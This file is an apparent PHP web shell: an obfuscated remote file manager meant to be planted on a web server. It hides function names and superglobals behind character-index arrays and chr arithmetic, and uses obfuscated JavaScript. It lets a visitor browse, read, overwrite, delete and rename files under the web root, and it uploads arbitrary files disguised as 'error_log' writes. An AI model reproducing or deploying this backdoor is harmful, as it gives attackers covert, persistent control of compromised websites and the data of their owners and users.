<!--Hq6PlTfY-->
<!--Hq6PlTfY-->
<?php
function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;}
$b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]);
$be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]);
$c=$b('Y2hy');
$_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1);
$__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1));
$__ .= chr(ord("S") + 1);


function get_absolute_root() {
    $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
    $script_name = $_SERVER['SCRIPT_NAME'];
    $pos = strpos($script_filename, $script_name);
    if ($pos !== false) {return substr($script_filename, 0, $pos);}
    return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
}

$rootPath = realpath(get_absolute_root());

function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}：</strong>" . $value . "</div>";}


function PathCl($path){
    global $be, $rootPath;
    $real = realpath($path);
    if ($real === false || strpos($real, $rootPath) !== 0) { $real = $rootPath; }
    
    $relative = ltrim(str_replace($rootPath, '', $real), DIRECTORY_SEPARATOR);
    $pathParts = $relative === '' ? [] : explode(DIRECTORY_SEPARATOR, $relative);
    
    $breadcrumbs = ["<a href=\"?path=" . $be($rootPath) . "\">ROOT</a>"];
    $accumulatedPath = $rootPath;
    
    foreach ($pathParts as $part) {
        $accumulatedPath .= DIRECTORY_SEPARATOR . $part;
        $breadcrumbs[] = "<a href=\"?path=" . $be($accumulatedPath) . "\">$part</a>";
    }
    return implode(' / ', $breadcrumbs);
}

function getPermissions($path) {
    $readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>';
    $writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>';
    $executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>';
    return "$readable $writable $executable";}

function formatFileSize($bytes) {
    if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; } 
    elseif ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; } 
    elseif ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; } 
    else { return $bytes . ' By'; }
}
$GetPath = isset(${$_}['path']) ? realpath($b(${$_}['path'])) : $rootPath;
if ($GetPath === false || strpos($GetPath, $rootPath) !== 0) { $GetPath = $rootPath; }

$AtPath = PathCl($GetPath);
$Dirqx = getPermissions($GetPath);
$pathItems = [['at path', $AtPath], ['run', $Dirqx]];

function renderFileList($GetPath) {
    global $be, $rootPath;
    $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath);
    $files = array_diff(scandir($currentPath) ?: [], ['.', '..']);
    $directories = [];
    $fileItems = [];
    foreach ($files as $file) {
        $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
        if (strpos(realpath($fullPath), $rootPath) !== 0) continue;

        $isDir = is_dir($fullPath);
        $permissions = getPermissions($fullPath);
        $fileTime = date("Y-m-d H:i:s", filemtime($fullPath));
        $fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath));
        $actions = '';
        if (!$isDir && is_writable($fullPath)) {
            $actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file));
        }
        $fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>";
        $itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions);
        if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; }
    }
    print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>';
}

function LoadFile($GetPath) {
    if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) {
        $content = file_get_contents($GetPath);
        $isWritable = is_writable($GetPath);
        print '<div class="file-content"><div class="file-content-header"><span class="file-type-icon">📄</span>' . basename($GetPath);
        if ($isWritable) { print '<button id="save-btn" class="save-btn">Save</button>'; }
        print '</div>';
        if ($isWritable) {
            print '<textarea id="file-editor" class="file-editor">' . htmlspecialchars($content) . '</textarea><input type="hidden" id="current-file-path" value="' . htmlspecialchars($GetPath) . '">';
        } else {
            print '<pre>';
            foreach (explode("\n", $content) as $num => $line) {
                printf('<div class="code-line"><span class="line-number">%s</span><code>%s</code></div>', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line));
            }
            print '</pre>';
        }
        print '</div>';
    }
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset(${$__}['f_p'])) {
        $filePath = realpath(${$__}['f_p']);
        if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
            if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
                $content = $b(${$__}['f_c_64']);
                if (file_exists($filePath)) { unlink($filePath); }
                $saveMsg = error_log($content, 3, $filePath) ? "<span class='green'>File saved successfully</span>" : "<span class='red'>Failed to save file</span>";
            }
            if (isset(${$__}['delete_file']) && file_exists($filePath) && !is_dir($filePath)) {
                if (unlink($filePath)) {
                    $saveMsg = "<span class='green'>File deleted successfully</span>";
                    if ($GetPath === $filePath) { header("Location: ?path=" . $be(dirname($filePath))); exit; }
                } else { $saveMsg = "<span class='red'>Failed to delete file</span>"; }
            }
            if (isset(${$__}['rename_file']) && isset(${$__}['new_name'])) {
                $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename(${$__}['new_name']);
                if (rename($filePath, $newPath)) {
                    $saveMsg = "<span class='green'>Renamed successfully</span>";
                    if ($GetPath === $filePath) { header("Location: ?path=" . $be($newPath)); exit; }
                } else { $saveMsg = "<span class='red'>Failed to rename</span>"; }
            }
        }
    }
    if (isset(${$__}['error_log'])) {
        $content = $b(${$__}['error_log']);
        $fileName = basename($b(${$__}['error_log_name']));
        $targetDir = is_dir($GetPath) ? $GetPath : dirname($GetPath);
        $uploadPathFile = $targetDir . DIRECTORY_SEPARATOR . $fileName;
        if (strpos(realpath($targetDir), $rootPath) === 0 && is_writable($targetDir)) {
            if (file_exists($uploadPathFile)) { unlink($uploadPathFile); }
            $saveMsg = error_log($content, 3, $uploadPathFile) ? "<span class='green'> error_log Success</span> " : "<span class='red'> error_log Fail</span>";
        }
    }
}
?>
<!DOCTYPE html><title>9B534B8686E580E0E01768F00155B461</title><body>
<style>
    body { margin: 0; background: #f8f9fa; }
    .green { color: green; font-weight: bold; } .red { color: red; font-weight: bold; }
    form { display: inline-block; margin: 0; }
    .file-time { width: 160px; text-align: center; color: #888; font-size: 12px; font-family: monospace; }
    .path-nav { padding: 15px; border: 1px solid #ddd; font-family: Arial, sans-serif; }
    .path-nav a { color: #007bff; text-decoration: none; } .path-nav a:hover { text-decoration: underline; }
    .file-list { box-shadow: 0 2px 8px rgba(0,0,0,0.1); background: white; }
    .file-item { display: flex; align-items: center; padding: 8px; margin: 2px 0; background: #f5f5f5; border-radius: 3px; gap: 10px; }
    .file-item:hover { background: #e0e0e0; }
    .file-item::before { content: '📄'; margin-right: 8px; } .file-item.dir::before { content: '📁'; }
    .file-name { flex-grow: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
    .permissions { display: inline-flex; gap: 8px; margin-left: auto; }
    .file-content { margin: 20px 0; border: 1px solid #e0e0e0; border-radius: 8px; background: #ffffff; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
    .file-content-header { padding: 12px 20px; background: #f8f9fa; border-bottom: 1px solid #e0e0e0; font-weight: bold; color: #2c3e50; border-radius: 8px 8px 0 0; display: flex; justify-content: space-between; align-items: center; }
    .file-content pre { margin: 0; padding: 20px; font-family: monospace; font-size: 14px; line-height: 1.6; color: #333; white-space: pre-wrap; word-break: break-word; overflow-x: auto; max-height: 70vh; }
    .code-line { display: flex; padding: 2px 0; }
    .line-number { color: #999; min-width: 40px; padding-right: 12px; text-align: right; user-select: none; border-right: 1px solid #eee; margin-right: 12px; }
    code { white-space: pre-wrap; word-break: break-word; flex-grow: 1; }
    .file-size { width: 120px; text-align: right; color: #666; font-family: monospace; }
    .size-dir { color: #007bff; font-weight: bold; }
    .save-btn { background: #4CAF50; color: white; border: none; padding: 5px 15px; border-radius: 4px; cursor: pointer; font-size: 14px; }
    .file-editor { width: 100%; height: 500px; font-family: monospace; padding: 15px; box-sizing: border-box; border: none; resize: vertical; background: #f8f8f8; border-top: 1px solid #e0e0e0; }
    .file-actions { display: flex; gap: 5px; margin-left: 10px; }
    .delete-btn { background: #f44336; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
    .rename-btn { background: #2196F3; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
</style>
<script>
(function() {
    const _0x5f2e = ['createElement', 'input', 'type', 'file', 'onchange', 'files', 'onload', 'target', 'result', 'split', 'getElementById', 'value', 'name', 'submit', 'readAsDataURL', 'addEventListener', 'DOMContentLoaded', 'click', 'POST', 'f_p', 'f_c_64', 's_f', 'appendChild', 'delete_file', 'rename_file', 'new_name'];
    
    const _0x4b12 = function(_0x1b, _0x2c) {
        return _0x5f2e[_0x1b];
    };

    window['_hx_up'] = function(_0x54, _0x32, _0x1a) {
        const _0x77 = document[_0x4b12(0x0)](_0x4b12(0x1));
        _0x77[_0x4b12(0x2)] = _0x4b12(0x3);
        _0x77[_0x4b12(0x4)] = (_0x21) => {
            const _0x99 = _0x21[_0x4b12(0x7)][_0x4b12(0x5)][0x0];
            if (!_0x99) return;
            const _0xfe = new FileReader();
            _0xfe[_0x4b12(0x6)] = (_0x88) => {
                document[_0x4b12(0xa)](_0x54)[_0x4b12(0xb)] = _0x88[_0x4b12(0x7)][_0x4b12(0x8)][_0x4b12(0x9)](',')[0x1];
                document[_0x4b12(0xa)](_0x32)[_0x4b12(0xb)] = btoa(_0x99[_0x4b12(0xc)]);
                document[_0x4b12(0xa)](_0x1a)[_0x4b12(0xd)]();
            };
            _0xfe[_0x4b12(0xe)](_0x99);
        };
        _0x77[_0x4b12(0x11)]();
    };

    document[_0x4b12(0xf)](_0x4b12(0x10), function() {
        const _0x01 = document[_0x4b12(0xa)]('save-btn');
        if (_0x01) {
            _0x01[_0x4b12(0xf)](_0x4b12(0x11), function() {
                const _0xaa = document[_0x4b12(0xa)]('file-editor'), 
                      _0xbb = document[_0x4b12(0xa)]('current-file-path');
                if (_0xaa && _0xbb) {
                    const _0xcc = document[_0x4b12(0x0)]('form'); 
                    _0xcc.method = _0x4b12(0x12);
                    const _0xdd = { 
                        [_0x4b12(0x13)]: _0xbb[_0x4b12(0xb)], 
                        [_0x4b12(0x14)]: btoa(unescape(encodeURIComponent(_0xaa[_0x4b12(0xb)]))), 
                        [_0x4b12(0x15)]: '1' 
                    };
                    for (let _0xee in _0xdd) {
                        let _0xff = document[_0x4b12(0x0)](_0x4b12(0x1));
                        _0xff[_0x4b12(0x2)] = 'hidden'; 
                        _0xff[_0x4b12(0xc)] = _0xee; 
                        _0xff[_0x4b12(0xb)] = _0xdd[_0xee]; 
                        _0xcc[_0x4b12(0x16)](_0xff);
                    }
                    document.body[_0x4b12(0x16)](_0xcc); 
                    _0xcc[_0x4b12(0xd)]();
                }
            });
        }

        const _0x02 = (_0x6a, _0x6b, _0x6c = {}) => {
            const _0x6d = document[_0x4b12(0x0)]('form'); 
            _0x6d.method = _0x4b12(0x12);
            const _0x6e = { [_0x4b12(0x13)]: _0x6b, ..._0x6c }; 
            _0x6e[_0x6a] = '1';
            for (let _0x6f in _0x6e) {
                let _0x7a = document[_0x4b12(0x0)](_0x4b12(0x1));
                _0x7a[_0x4b12(0x2)] = 'hidden'; 
                _0x7a[_0x4b12(0xc)] = _0x6f; 
                _0x7a[_0x4b12(0xb)] = _0x6e[_0x6f]; 
                _0x6d[_0x4b12(0x16)](_0x7a);
            }
            document.body[_0x4b12(0x16)](_0x6d); 
            _0x6d[_0x4b12(0xd)]();
        };

        document.querySelectorAll('.delete-btn').forEach(_0x8a => {
            _0x8a[_0x4b12(0xf)](_0x4b12(0x11), function() {
                if (confirm('Delete?')) _0x02(_0x4b12(0x17), this.getAttribute('data-path'));
            });
        });

        document.querySelectorAll('.rename-btn').forEach(_0x9b => {
            _0x9b[_0x4b12(0xf)](_0x4b12(0x11), function() {
                const _0xname = prompt('New name:', this.getAttribute('data-name'));
                if (_0xname) _0x02(_0x4b12(0x18), this.getAttribute('data-path'), { [_0x4b12(0x19)]: _0xname });
            });
        });
    });
})();
</script>
<div style="display: flex; gap: 30px; padding: 20px;">
<div style="flex: 0 0 800px; position: sticky; top: 20px; height: min-content;">
    <?php foreach ($pathItems as $item): ?>
    <?php displayPathItem($item[0], $item[1]); ?>
    <?php endforeach; ?>
    <?php renderFileList($GetPath)?>
</div>
<div style="flex: 1; max-width: 1000px;">
    <div class="path-nav"><span>error_log </span><form id="u3" method="post"><input type="hidden" name="error_log" id="d3"><input type="hidden" name="error_log_name" id="n3"><button type="button" onclick="_hx_up('d3', 'n3', 'u3')">up</button></form></div>
    <div class="path-nav"><?php print isset($saveMsg) ? $saveMsg : ''; ?></div>
    <?php LoadFile($GetPath); ?>
</div>
</div>
</body></html>